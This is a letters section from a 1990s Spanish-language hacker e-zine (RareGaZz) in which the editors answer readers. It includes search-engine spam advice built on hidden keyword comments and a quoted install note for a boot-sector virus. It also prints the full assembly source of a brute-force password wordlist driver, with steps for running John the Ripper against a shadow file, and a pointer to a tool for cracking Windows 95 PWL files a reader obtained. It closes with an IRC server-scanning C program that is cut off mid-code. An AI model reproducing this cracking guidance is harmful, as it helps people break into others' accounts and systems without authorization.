∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Hola. El otro dia estaba mirando por la Web, y ¡sorpresa! encontre vuestra revista, bueno, vuestras 8 revistas. Es la mejor revista de este tema que he podido encontrar. Pero queria proponer, si es posible cambiar el formato de la revista. Quiero decir, si seria posible por ejemplo, publicarla en Acrobat, y asi poder enlazar los indices con los temas y que sea mas grafica. Los lectores, podriamos imprimirlas (o guardarlas en el disco) para su futura lectura. Un saludo y espero ansiadamente el 9 volumen. [ Las razones por las que no hemos cambiado el formato del zine son `compatibilidad' y `tamaño'. Con Acrobat este mismo texto ocuparia mas de 1 mega y con images serian 1 o 1.5 megas por numero...demasiado. ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Desaria que me ayudaras con un problema que tengo. Yo estoy encargado de publicar varias paginas web de algunas compañias aqui en Costa Rica, y como sabras entre mas arriba esten en las busquedas con los browser, mas visitas estaran, y los clientes estaran contestos. Pero, realmente no tengo mucha informacion sobre TRUCOS PARA iNDEXAR y asi poder salir mas arriba que la competencia. Te agradeceria muchisimo, se me pudieras ayudar en algo. Al mismo tiempo yo te presto toda mi ayuda, tengo muchos conocimientos en Unix, hacking y negocios productivos. Espero tu pronta respuesta, [ Mira en estados unidos existen infinidad de personas que cobran entre 30 y 50 dolares por poner algun sitio entre los primeros resultados de las maquinas de busqueda. ¿como lo hacen? simple. Siguen unas instrucciones muy faciles de seguir que espero te ayuden en algo. .No usar META tags.- La mayoria de los programas creadores de paginas web insertan etiquetas META que definen el contenido de una pagina. Estas etiquetas fueron creadas para evitar que una pagina se mostrara en las maquinas de busqueda sin contener un tema relativo a las palabras buscadas. Como lo que queremos es precisamente eso, es decir, que la pagina que queramos indexar aparezca la mayor cantidad de veces posible entonces debemos eliminar las meta tags. .indexar TODO el site.- Un website tiene entre 20 y 25 paginas web y unicamente una pagina principal. Un grave error es indexar unicamente la primera pagina y desear que aparezca entre los primeros. Obviamente para que este truco sea efectivo deberas seguir estas recomendaciones: Las paginas que vayas a indexar deberan ser las que sean permanentes o que por lo menos parezca que estaran mas tiempo. Todas las paginas indexadas deberan llevar el mismo encabezado (definido en <HEAD>) de preferencia conteniendo el nombre de la compañia sin importar que una hoja sea para insertar comentarios o una simple lista de productos. Siempre en las hojas indexadas debera estar visible un link a la pagina principal. Todas las paginas indexadas deberan contener una descripcion del sitio o la compañia que no sea visible para el navegador pero si para la maquina indexadora. .insertar comentarios invisibles.- Esta es una de las armas mas poderosas contra la competencia. Los comentarios invisibles se insertan asi: <HTML> <HEAD><TiTLE>COMPAÑiA EQUiZ</TiTLE> <!-- Aqui debes poner una descripcion de aproximadamente unos 3 o 4 renglones de la compañia que sera mostrada en las maquinas de busqueda. Despues de esta descripcion elige las palabras que quisieras usar como palabras clave. Por ejemplo. HACK CRACK HACKER RAREGAZZ EZiNE MAGAZiNE E-ZiNE HACK CRACK HACKER EZiNE MEXiCO virus RAREGAZZ hacker zine e-zine magazine mexico crackers cracks hacks zines virii codigo code hack raregazz zine Procura no poner dos veces o mas la misma palabra despues de la otra. Haciendo esto puedes llenar unos 5 renglones. --> </HEAD> <!-- Aqui debes poner una descripcion de aproximadamente unos 3 o 4 renglones de la compañia que sera mostrada en las maquinas de busqueda. Despues de esta descripcion elige las palabras que quisieras usar como palabras clave. Por ejemplo. HACK CRACK HACKER RAREGAZZ EZiNE MAGAZiNE E-ZiNE HACK CRACK HACKER EZiNE MEXiCO virus RAREGAZZ hacker zine e-zine magazine mexico crackers cracks hacks zines virii codigo code hack raregazz zine procura no poner dos veces o mas la misma palabra despues de la otra. Haciendo esto puedes llenar unos 5 renglones. --> <body> Poner lo mismo despues del encabezado y antes de la etiqueta BODY es una buena idea! Obviamente CADA UNA de las paginas indexadas debera tener diferentes palabras clave pero el mismo comentario inicial de 3 o 4 renglones para evitar que en la descripcion del sitio aparezcan todas las palabras claves. Por ultimo no esperes que cuando hagas esto al dia siguiente aparezca tu sitio entre los primeros. HotBot se actualiza cada semana, mientras que infoseek actualiza su base de datos dos veces al mes y asi... ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ para mi todos ustedes son unos adictos sin nada que hacer deberian invertir su tiempo en algo que les diera ganancias no nomas llenando los campos magneticos de basura. basura electronica son ustedes.. [ eehhhh....gracias. ¿Adictos? Al hack, a internet, a escribir, a no dormir, a vivir, a expresarnos, a no ir a la escuela, a las computadoras, a las chicas lindas, al amor, a la coca, LSD, peyote o marijuana??? X-) hash.,] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Quisiera pedirles un favor, y es respecto a unas dudas que tengo Aparece en Minotauro #8 este encabezado. PASTEADO...(Minotauro.008) ...................................................................... ; Virus de ejemplo para Minotauro Magazine ; NOTA: Se tiene que compilar con el A86, el cual generara ; un archivo .BiN que se debe copiar al sector de BOOT de ; un disco de HD. El BOOT original de ese disco, hay que ; ponerlo en el SEC 14, CYL 0, LADO 1. Listo!, el virus ya ; esta listo para ser ejecutado. ; Bugs Bunny [DAN] ...................................................................... Mis preguntas son: como diablos copio un archivo .bin al BOOT??? Es esto lo que hace en realidad un virus infeccioso de BOOT??? como hago para relocalizar el BOOT al SEC 14, CYL 0, LADO 1??? [ La respuesta envienla a raregazz@bigfoot.com gracias. ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ >> >> WiNZiP 6.3 32bits >> ~~~~~~~~~~~~~~~~~ >> La mejor compresion de datos con la capacidad de guardar archivos con >> nombres largos y crear autoexecutables para windows 95. Los botones son >> unas graciosas graficas en 3D. Sin duda el mejor programa de compresion. >> Disponible en www.winzip.com y el codigo de registro esta en los numeros >> anteriores de la revista. >> En el numero 7 aparecio una revision de software que solicite a un amigo como una forma de colaboracion. Pues bien, mi amigo no fue objetivo y se dio el gusto de nombrar a winzip como "el mejor compresor disponible" cosa que carece de veracidad. Para reponer este error ya que cada texto que sale en la revista representa nuestro punto de vista me di a la tarea de hacer una prueba de compresion y publicar los resultados. Los programas que entraron a la prueba son: HA.EXE por Harri Hirvola version 0.98 BSA.EXE por PTS Ltd. version 2.00 PKZiP.EXE por PKware inc. version 2.50 Windows 95 ARJ.EXE por Robert K Jung version 2.10 RAR.EXE por Eugene Roshal version 2.00 LHARC.EXE por Haruyasu Yoshizaki version 1.14beta WiNZiP.EXE por Nico Mak version 6.3 Beta Todos fueron puestos en modo "maxima compresion" excepto en los casos en que esta funcion aumentaba el tamaño de los archivos como sucedio en ocasiones con los compresores HA.EXE y BSA.EXE Resultado de las pruebas: Compresor Parametros Objetivo (bytes) Resultado (bytes) HA.EXE ha a012 BMP's 18,562 10,129 BSA.EXE bsa a -++ BMP's 18,562 10,528 RAR.EXE + GUi + BMP's 18,562 11,828 ARJ.EXE arj a -m1 BMP's 18,562 12,253 PKZiP.EXE + GUi + BMP's 18,562 12,374 WiNZiP.EXE + GUi + BMP's 18,562 12,420 LHARC.EXE lharc a BMP's 18,562 12,461 * Las palabras GUi significa que fueron usados programas con interfaz grafica que usaban la rutina de compresion mencionada. Los programas usados para la prueba los puedes encontrar todos juntos en el archivo http://raregazz.islatortuga.com/compress.zip o en la pagina de software (no incluye winzip ni pkzip). Para mas informacion y anuncios sobre programas de compresion puedes visitar la siguiente direccion: http://www.davesite.com/computers/compress.shtml ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Hola !!!! Primero y antes de nada felicitaros por la pedaso de revista que haceis. y ahora a lo que venia Tengo problemas para compilar el hackdrv.sys con TASM y quisiera que me explicarais como hacerlo. (no me envieis E-MAiL ponedlo en la revista, hay mucha gente que no sabe como hacerlo ;) ) Gracias de mi parte y de todos los demas que quieren saberlo. [ En la revista numero 2 damos el codigo para una lista de palabras residente en memoria ideal para ataques en bruto y olvidamos dar las instrucciones para compilarlo o modificarlo. Pues bien el codigo que sigue entre los puntos esta diseñado para ser una lista de 5 caracteres empezando desde aaaaa y terminando en zzzzz. Para compilar usa el comando a86.com disponible en el archivo http://raregazz.islatortuga.com/tasm.zip La sintax es: "a86 hackdrv.asm hackdrv.com" despues renombra el archivo hackdrv.com a hackdrv.sys e incluye la linea "DEViCE=C:\HACKDRV.SYS" en el config.sys Ahora usa el programa JOHN THE RiPPER asi para usar la lista de palabras: "JOHN -PWFiLE:SHADOW -WORDFiLE:HACKPWD.SYS -LiST" el archivo shadow debe contener los passwords encriptados y el archivo hackpwd.sys esta en memoria. cuando termines de crackear o hagas un break debes modificar el archivo HACKDRV.SYS usando un editor hexadecimal para que continue la proxima vez que reinicies el sistema donde te hayas quedado. OjO esto es importante. Otra cosa, debes compilar el codigo varias veces dependiendo de cuantos caracteres quieres que sea la lista, en el numero 2 la lista es de 6 caracteres pero el siguiente codigo es unicamente para crear la lista de 5 caracteres. Happy Hacking. .............................................................................. ;Program HACKDRV.SYS ; org 0h next_dev dd -1 attribute dw 0c000h ;character device w/ ioctl calls strategy dw dev_strategy interrupt dw dev_int dev_name db 'HACKPWD ' countr dw offset number number db 'aaaaa',0ah ;<---- 5 caracteres en minusculas (empiezo) numsize equ $-number - 2 afternum: ;working space for device driver rh_ofs dw ? rh_seg dw ? dev_strategy: ;strategy routine mov cs:rh_seg,es mov cs:rh_ofs,bx retf dev_int: ;interrupt routine pushf push ds push es push ax push bx push cx push dx push di push si cld push cs pop ds mov bx,cs:rh_seg mov es,bx mov bx,cs:rh_ofs mov al,es:[bx]+2 rol al,1 mov di,offset cmdtab xor ah,ah add di,ax jmp word ptr[di] cmdtab: ;command table dw init ;0 dw exit3 ;1 dw exit3 ;2 dw ioctl_read ;3 dw do_read ;4 dw exit3 ;5 dw exit3 ;6 dw exit3 ;7 dw exit3 ;8 dw exit3 ;9 dw exit3 ;10 dw exit3 ;11 dw ioctl_write ;12 dw exit3 ;13 dw 5 dup (offset exit3) ioctl_read: push es push bx mov si,es:[bx+10h] mov di,es:[bx+0eh] mov es,si push cs pop ds mov si,offset number xor cx,cx get_char: lodsb stosb inc cl cmp al,0ah jz ioctl_rend jmp get_char ioctl_rend: pop bx pop es mov es:[bx+012h],cx mov cs:countr,offset number jmp exit2 ioctl_write: push es push bx mov si,es:[bx+010h] mov ds,si mov si,es:[bx+0eh] mov cx,numsize+1 ;es:[bx+012h] push cs pop es mov di,offset number repe movsb pop es pop bx mov cs:countr,offset number jmp exit2 do_read: push es push bx push cs pop ds mov si,[countr] inc si ;word ptr [countr] cmp si,offset afternum jnz is_okay mov si,offset number call inc_num is_okay: mov [countr],si mov di,es:[bx]+0eh mov ax,es:[bx]+010h mov cx, es:[bx]+012h jcxz clean_up mov es,ax repe movsb clean_up: pop bx pop es jmp exit2 exit3: mov es:word ptr 3[bx],08103h jmp exit1 exit2: mov es:word ptr 3[bx],0100h exit1: pop si pop di pop dx pop cx pop bx pop ax pop es pop ds popf retf exit: inc_num proc near push si mov si,numsize reiterate: inc byte ptr [number+si] cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range jnz _exit mov byte ptr [number+si],'a' ;starting char. in range dec si cmp si,-1 jnz reiterate mov byte ptr [number],01ah ;send EOF _exit: pop si ret inc_num endp at_eof: ; the non-resident code starts here initial proc near push es push cs pop ds push cs pop es mov si,offset number mov di,offset tmpnum cld _again: lodsb cmp al,0ah jz _nomorechars stosb jmp _again _nomorechars: mov si,offset msgend mov cx,4 repe movsb mov ah,09 ;print welcome message mov dx,offset msg1 int 21h pop es ret initial endp init: call initial mov ax,offset at_eof mov es:[bx]+0eh,ax push cs pop ax mov es:[bx]+010h,ax mov cs:word ptr cmdtab,offset exit3 jmp exit2 msg1 db "incremental Password Generator (c)1995",0ah,0dh db "Written by Uncle Armpit",0ah,0dh,0ah,0dh db "Starting at word [" tmpnum db 10 dup (?) msgend db "]",0a,0d,'$' ;END hackdrv.sys .............................................................................. ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ tengo problemas para manejar el Jonh the Ripper, me prodria mandar algun ejemplo del mismo. Es de mi mayor interes saber como se usa, ya que he conseguido algunos archivos PWL del windows 95 y no puedo desencryptarlos. [ Para desencriptar los PWL de windows 95 es necesaria otra utilidad no john the ripper. El programa GLiDE sirve para eso y lo puedes encontrar en la pagina de software de la revista o haciendo click en el siguiente link: http://raregazz.islatortuga.com/glide.zip ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Estoy viendo un programa mexicano llamado: fuera de la ley, es muy feo, pregunta: tan mal esta la situacion por alla ? [ Aqui esta la situacion tan mal por causa de esos estupidos programas amarillistas. Tienen razon en Mexico existe la delincuencia, hay colonias donde pasar en carro sin una nueve milimetros cargada es suicidio pero no es la unica parte donde sucede esto... ¿o si? ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Les recomiendo esta pagina www.ntshop.net aqui encontraran bugs & exploits para Win NT y http://www.l0pht.com/advisories.html donde encontraran el L0phtCrack 1.5 y el netcat 1.10. Azumlord. ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Por favor, pasaros por la siguiente direccion, cuando podais, os lo digo porque puede ser de interes el programa llamado Private idaho, hay muchas utilidades para el PGP y este programa es una de ellas. http://www.eskimo.com/~joelm http://www.cs.berkeley.edu/~raph/remailer-list.html ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ El proposito de este email es mencionarte un proyecto que desde siempre hemos intentado todos y por el que voy a intentar luchar (y espero que tambien vosotros). Este no es otro que el de unir el mundo hack, warez, phreak, virus, etc.. en un anillo underground que conformaremos todos los que siempre hemos estado aqui. Gracias a islatortuga esto esta cada vez mas cerca pero gente como tu es la que la puede sacar adelante, de ahi que me ponga en contacto contigo. La idea es la creacion de un magazine. Como creador de magazine estaras pensando.. otra mas.. buff.. no conseguiremos nada... Espero que estes equivocado si piensas eso. Estamos trabajando desde hace unos dias en una web y en una distribucion de trabajo. En este email te incluyo un htm (el que tengo metido en mi web) y un txt que espero que leas. Espero que consideres esto pues es con personas como tu como podemos conseguir esto por tu prestigio y por tu vida en este mundillo. Los que hemos empezado con esto tampoco somos gente salida de la nada, je,je... (hombre si pero..) aunque no con tanta fama. Somos los creadores de las magazines Hwarez (anecdotica e informativa) y Mafia Magazine (Basada en el fenomeno warez). Por lo demas, todo depende de ti. Confiamos en que te agrade la idea y que pronto te unas, e incluso encamines este proyecto. Otra cosa que quiero mencionar, antes de que se me olvide, es que como estas embarcado en alguna otra magazine, con esto tampoco pretendo que se fundan todas las magazines existentes hasta el momento. Es decir, las magazines llevaran rumbos diferentes... pues no hay mejor cosa que variedad donde elegir, y debido a la distribucion de trabajo que se pretende conseguir, se podria seguir perfectamente el trabajo de la otra, dedicandole el tiempo necesario a esta :))) (Yo, por ejemplo, voy a seguir realizando en mis ratos libres Hwarez). Ah, y si puedes.. comentale esta idea a mas personas de nuestro mundillo. [ Esta propuesta es interesante y dificil de realizar por razones obvias y claras. PERO citare una frase que espero comprendan: " Si lo que deseas no lo haces, al paso del tiempo te percataras que pasaste como si no hubieses pasado. Veras que eres, al igual que todos, uno mas (o uno menos); uno en fin, sin importancia. En ese sentido se le da a la vida un valor que no puede tener. Esta bien, enfrentate al mundo ahora que es tiempo, pues la satisfaccion no la daran ni el fracaso ni el triunfo, sino haber vivido. Si todo es preciso arriesgarlo, arriesgalo todo, con la plena conciencia de que lo puedes perder, pero: ¿No es mejor intentar un salto, a ser expectador de alguien que lo intenta? Uno siempre desea hacer mucho, y por falta de valor, o incluso porque el sentido comun señala su imposibilidad, no lo intentamos; y es que verdaderamente, a cada hora, a cada instante, millones de hombres desean el triunfo y nada mas uno, entre un millon, lo alcanza. ¿Quien nos puede dar la seguridad de que nosotros si lograremos llegar? Arriesgar todo, sin reservas, es un riesgo enorme. La prudencia nos indica buscar lo seguro y solo dedicar al `riesgo' el tiempo libre. -¿Es prudencia o temor al fracaso el no intentarlo? -¿Es valor o pueril ilusion el intentarlo? Nadie, sino aquel que busca nuevos horizontes, arriesgandolo todo, es quien conoce el verdadero exito...o el verdadero fracaso. Nunca puede fracasar quien nunca intenta nada. " ¡Salud! por el nuevo magazine llamado TrashDeeper. Suerte y cuenten con sus camaradas de RareGaZz para cualquier cosa. Mas informacion sobre el proyecto en: http://www.redestb.es/personal/cyberice RareGaZz ya creo un grupo especial formado por Azumlord, VoV_77, Orion, Arkangel, WarFare y yo mismo que representara a RareGaZz en ese zine. Si quieren comentar sobre nuestra participacion en TrashDeeper escriban a RAREMAG@HOTMAIL.COM ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Bueno, ahora los voy a molestar nuevamente, lo que sucede es que mi novia tiene un problema con la red y parece que es un virus... El nombre de este parece ser PAC. Yo quisiera saber, si de pronto alguno de ustedes podria colaborarme, informandome donde puedo encontrar la vacuna o que de pronto ustedes la tengan y me la faciliten, sera que es posible? [ ¿¿¿ Alguien tiene alguna idea ??? ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Aqui van algunas herramientas que a mas de uno ayudara... Sirven para linux (no lo he probado en otro sistema) /* linkfind.c------------------------------------------------------------------ * Link Finder -- version 1.00b * by Crypt Keeper [ckeeper@axiom.access.one.net] * * Polls all IRC servers on an iRC network to find those that you are * allowed to connect to. * * This program is free software. it is distributed as-is with no * warranties of any kind, and may be freely copied or modified as long * as you give me credit. :) */ /* Revision history: * 1.00b - First release */ /* Here's a bit of a FAQ.. a short one: * * Q: Why does it hang when it's getting the list of server names? * A: This can be slow. When you run link finder, try to pick a fast * server to get the list from. Even then, this can take a while * and netsplits can interfere. Try different servers, or try re-running * the program. Remember that you can write your list to a logfile, so * you really only need this once. The list of servers that you can * connect to is not going to change very often. Also, if you aren't * worried about polling _every_ server you could try -notunnel. * * Q: i use -fork and i don't see anything * A: -fork allows link finder to run in the background, silently, and * log to a file. This means that you could even leave it running on * a system and log out. -fork requires either (or both) -l and -a to * be specified. The program does not fork until it starts polling * servers. * * Q: it won't compile! * A: Port it to whatever you're on or find someone who can, and mail me * the ported copy, or a diff, or something. */ /* To compile: * * Linux (and probably most Posix-compliant systems with gcc): * gcc -O2 -fomit-frame-pointer -s -pipe -o linkfind linkfind.c * * Other systems try: * gcc -O -s -o linkfind linkfind.c * gcc -o linkfind linkfind.c * cc -o linkfind linkfind.c * * This (or some variation of it) might work on HP/UX: * cc +O3 -Aa -s -D__HPUX__ -o linkfind linkfind.c * * On some systems you may need to compile with one or more of these: * -lsocket -lresolv -lucb -lnsl * * You can ignore warnings as long as you get a working binary. * * i can only personally test this on Linux, so i can't guarantee it'll * compile on anything else. if someone else wants to add some more * defines to get this to compile on other systems, be my guest. if * you do, i'd appreciate if you mail me the changes so i can release a * new version. */ /* Un-Comment this if your system does have strerror() */ /* #define HAS_STRERROR */ #ifdef __HPUX__ #define _iNCLUDE_HPUX_SOURCE #define _iNCLUDE_XOPEN_SOURCE #define _iNCLUDE_POSiX_SOURCE #endif #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <signal.h> #include <errno.h> #include <string.h> #include <pwd.h> /* Prototypes */ void do_help(char *whoami); int connectout(char *hname,int portnum,int timeout); char *my_strerror(int errornum); void access_denied(char *servername,char *reason,char *tag); void access_accepted(char *servername); void process_motd(char *motd_line,char *servername); void parse_server_line(int plug,char *servername,char *line_from_server); char *randjunk(int len); void try_server(char *servername); int get_links(char *servername,int serverport); void signal_handler(int signum); void main(int argc,char *argv[]); int _wild_match(unsigned char *mask,unsigned char *string); int wild_match(char *pattern,char *str); /* Global variable init */ int motd_pointer = 0; /* Used in process_motd() */ struct configstruct { int serverport; /* Port for test connections */ int connect_timeout; /* Timeout for test connections (sec) */ char tunnel_foreign; /* Tunnel *.fi type stuff */ char do_motd_writes; /* Write motd files */ FiLE *logfile; /* Logfile */ char logging; /* Logging? */ FiLE *rawfile; /* Raw server list file */ char raw_logging; /* Writing raw server list? */ char run_background; /* Run in background? */ } my_config; struct servstats { int naccepted; int ndenied; int nerror; /* For statistics at the end */ } my_stats; char serverlist[512][128]; /* List of all server names on net */ char *my_username; /* Whatever your username is determined to be */ unsigned char no_show_error = 0; /* Used in try_server and parsing */ #ifndef errno extern int errno; #endif /* Macro that sends text to a server */ #define outserv(p,s) send(p,s,strlen(s),0) /* Help message */ void do_help(char *whoami) { printf("Usage: %s [options] server[:port#]\n\n",whoami); printf("Available options:\n"); printf(" -l filename - Output all findings to log file\n"); printf(" -a filename - Output plain list of servers\n"); printf(" that accept you to a file\n"); printf(" -[no]tunnel [default=on] - Tunnel into *.domain links\n"); printf(" -[no]motd [default=off] - Write working server MOTDs to\n"); printf(" files named after each server\n"); printf(" -[no]fork [default=off] - Run in background (-l and/or -a reqd)\n"); printf(" -t timeout [default=60] - Set trial connection timeout (secs)\n"); printf(" -p port# [default=6667] - Set trial connection port number\n\n"); printf("The server is any server you have access to use. if no port is specified\n"); printf("port 6667 is used. The -a and -l options may be used together.\n"); exit(0); } /* Connects to a remote host on the net */ int connectout(char *hname,int portnum,int timeout) { struct hostent *host_name; struct sockaddr_in socketname; int plug; if ((plug = socket(AF_iNET,SOCK_STREAM,0)) < 0) return -1; socketname.sin_family = AF_iNET; if ((host_name = gethostbyname(hname)) == (struct hostent *)NULL) return -2; socketname.sin_port = htons(portnum); memcpy(&socketname.sin_addr,host_name->h_addr,host_name->h_length); alarm(timeout); if ((connect(plug,(struct sockaddr *)&socketname,sizeof(socketname))) < 0) { if (errno == EiNTR) errno = ETiMEDOUT; alarm(0); return -3; } alarm(0); return plug; } /* To make it easy to compile on systems without strerror() */ char *my_strerror(int errornum) { #ifdef HAS_STRERROR return strerror(errornum); #else #ifdef sys_errlist return sys_errlist[errornum]; #else return "Unknown error"; #endif #endif } /* These two do the logging and/or output for each test */ void access_denied(char *servername,char *reason,char *tag) { char buff[128]; if (strlen(tag) == 6) sprintf(buff,"[%s] %s (%s)\n",tag,servername,reason); if (strlen(tag) == 5) sprintf(buff,"[%s] %s (%s)\n",tag,servername,reason); if (my_config.logging) { fprintf(my_config.logfile,buff); fflush(my_config.logfile); } if (!my_config.run_background) { printf(buff); fflush(stdout); } } void access_accepted(char *servername) { if (my_config.logging) { fprintf(my_config.logfile,"[ACCEPTED] %s\n",servername); fflush(my_config.logfile); } if (my_config.raw_logging) { fprintf(my_config.rawfile,"%s\n",servername); fflush(my_config.rawfile); } if (!my_config.run_background) { printf("[ACCEPTED] %s\n",servername); fflush(stdout); } my_stats.naccepted++; } /* This procedure handles motd files * if motd_line==NULL and servername==name, write file.. else add to * motd queue */ void process_motd(char *motd_line,char *servername) { static char motd[300][255]; char *tmp; int i; FiLE *motd_file; if (my_config.do_motd_writes) { if (motd_line) { tmp = motd_line; tmp++; while (*tmp != ':') tmp++; tmp++; strcpy(motd[motd_pointer++],tmp); } else if (servername) { if ((motd_file = fopen(servername,"w+")) == (FiLE *)NULL) { fprintf(stderr,"Could not open file %s to write motd: %s\n",servername,my_strerror(errno)); fflush(stderr); } else { for(i=0;i<motd_pointer;i++) fprintf(motd_file,"%s\n",motd[i]); fclose(motd_file); motd_pointer = 0; } } } } /* This parses a line of text from a server we are checking out. it does * not handle data from the server while we're getting links... that's * another procedure. The 'no_show_error' global variable is to make sure * we don't print 'banned from server' and then print the 'k-lined' error * message too. */ void parse_server_line(int plug,char *servername,char *line_from_server) { char *tmp,buff[512]; if (wild_match("% 465 *",line_from_server)) { access_denied(servername,"Banned from server","Denied"); no_show_error = 1; my_stats.ndenied++; return; } else if ((wild_match("ERROR :*",line_from_server))&&(!no_show_error)) { strcpy(buff,line_from_server); if (strtok(buff,"()") == NULL) access_denied(servername,"Unknown Error","Denied"); else { if ((tmp = strtok(NULL,"()")) == NULL) access_denied(servername,"Unknown Error","Denied"); else access_denied(servername,tmp,"Denied"); } my_stats.ndenied++; return; } else if (wild_match("% 001 *",line_from_server)) { access_accepted(servername); outserv(plug,"QUiT :Leaving\n"); no_show_error = 1; return; } else if ((wild_match("% 375 *",line_from_server))||(wild_match("% 372 *",line_from_server))) { process_motd(line_from_server,(char *)0); return; } else if (wild_match("% 376 *",line_from_server)) { process_motd((char *)0,servername); return; } } /* Returns a random junk string, no mixed case since that is a clonebot * giveaway */ char *randjunk(int len) { int i; static char junk[64]; char junkpick[26] = { 'a','b','c','d','e','f','g','h','i','j','k','l', 'm','n','o','p','q','r','s','t','u','v','w','x', 'y','z' }; for(i=0;i<len;i++) junk[i] = junkpick[rand() % 26]; junk[len] = '\0'; return (char *)&junk; } /* Checks out a server */ void try_server(char *servername) { int plug,nread,i,lbptr = 0; char inbuf[1024],linebuf[1024]; no_show_error = 0; if ((plug = connectout(servername,my_config.serverport,my_config.connect_timeout)) > 0) { sprintf(linebuf,"USER %s . . :%s %s\n",my_username,randjunk(rand() % 15),randjunk(rand() % 15)); outserv(plug,linebuf); sprintf(linebuf,"NiCK %s\n",randjunk(7)); outserv(plug,linebuf); alarm(my_config.connect_timeout); while ((nread = recv(plug,&inbuf,sizeof(inbuf),0)) > 0) { for(i=0;i<nread;i++) { if (inbuf[i] == '\n') { linebuf[lbptr] = '\0'; parse_server_line(plug,servername,linebuf); lbptr = 0; } else linebuf[lbptr++] = inbuf[i]; } alarm(my_config.connect_timeout); } if (errno == EiNTR) access_denied(servername,"No response from server","Error"); alarm(0); close(plug); } else { if (plug == -2) access_denied(servername,"Could not resolve hostname","Error"); else access_denied(servername,my_strerror(errno),"Error"); my_stats.nerror++; } } /* Gets the links list from a server, returns the number of links */ int get_links(char *servername,int serverport) { int plug,nread,i,lcount = 0,tunnels_left = 